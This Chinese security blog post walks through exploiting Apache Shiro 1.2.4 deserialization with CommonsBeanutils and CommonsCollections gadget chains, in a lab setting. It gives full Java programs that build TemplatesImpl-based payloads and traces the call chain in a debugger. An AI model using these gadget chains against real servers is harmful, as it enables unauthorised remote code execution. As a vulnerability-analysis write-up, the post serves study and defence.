freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

shiro结合CB与CC
明明白白我的心 2023-05-10 16:09:01 91659
所属地 四川省

简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

利用方式:获取固定编码的Key,构造反序列化结合其它依赖进行攻击。

环境搭建

项目地址:https://github.com/apache/shiro (版本<=1.2.4)

编辑shiro/samples/web目录下的pom.xml,加一个jstl的版本,否则默认版本解析jsp会报500错误。

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>

导入的依赖

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

手写EXP

基于CB的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CBtest {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        //TemplateImpl类
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "360");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        //templates.newTransformer();
        //BeanComparator类
        BeanComparator beanComparator = new BeanComparator();
        // 创建新的队列,并添加恶意字节码
        //PriorityQueue类
        PriorityQueue queue = new PriorityQueue(360, beanComparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        serialize(queue);
        unserialize("serCB.bin");
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCB.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

基于CC的

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CCtest {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        HashMap<Object, Object> hashMap = new HashMap<>();
//        hashMap.put("123", "456");
//        hashMap.put(templates, "456");
        Map<Object,Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);

        HashMap<Object,Object> map1=new HashMap<>();
        map1.put(tiedMapEntry, "bbb");
        lazymap.remove(templates);

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, invokerTransformer);
        serialize(map1);
        unserialize("serCC.bin");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCC.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:464, PropertyUtils (org.apache.commons.beanutils)
compare:163, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:48, CBtest
main:33, CBtest
transform:133, InvokerTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:52, CCtest
main:39, CCtest

漏洞分析

基于CB的

把断点下在入口处。

image

跟进到PriorityQueue类下的readObject方法,再跟进heapify方法。
image

进入到siftDown方法。

image

此处comparator不为null,所以会走到siftDownUsingComparator方法。

image

此时要注意流程会执行comparator.compare方法,也就是会走到 BeanComparator类下的compare方法。而x是我们传入的恶意templates对象。

image

BeanComparator的compare方法体中,PropertyUtils.getProperty会执行任意对象的任意getter或setter方法,所以我们传入TemplatesImpl下的getOutputProperties方法。

image

流程走到漏洞触发点。

image

基于CC的

入口处,HashMap类下的readObject方法,会对传进来的任意key调用hash(),hash方法又会对这个key调用hashcode方法。

image

image

因为我们传入的是TiedMapEntry的对象,所以会执行该类下的hashcode方法,而其方法体内又会调用自身的getValue()。

image
我们跟进getValue(),可以发现会调用map.get(key)。map是我们传入的lazyMap,key是我们传入的恶意对象。

image

可以看到在LazyMap类下的get方法,会获取map本身的key值与我们传入的key值做比较,如果不同则返回false,流程就可以执行factory.transform(key)。

image

我们可以通过反射获取factory属性改为InvokerTransformer对象,流程就会走到InvokerTransformer类下的transform方法,反射调用恶意对象下的newTransformer方法,实现代码执行。

image

注意点(手写EXP时)

要先给beanComparator和queue正常的值,在queue.add完之后反射修改为恶意值,可以避免恶意对象提前执行。

BeanComparator beanComparator = new BeanComparator();
	PriorityQueue queue = new PriorityQueue(360, beanComparator);
    queue.add(1);
    queue.add(1);

    setFieldValue(beanComparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{templates, templates});

在执行下面这个构造函数时,会将tiedMapEntry的key赋值给lazymap的key,然后流程就不能走进下面的if语句中,所以最后要反射清除key。

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
          lazymap.remove(templates);

image

总结

在debug的时候流程可能不会按照预期那样执行这是因为IDEA可能会自动触发一些函数跑完我们的playload(坑点),当然这也跟断点下的位置有关。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 明明白白我的心 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
明明白白我的心 LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 0 关注者
SnakeYaml序列化与反序列化
2023-07-06
Xstream历史漏洞复现
2023-07-05
log4j2利用分析与修复
2023-05-15
文章目录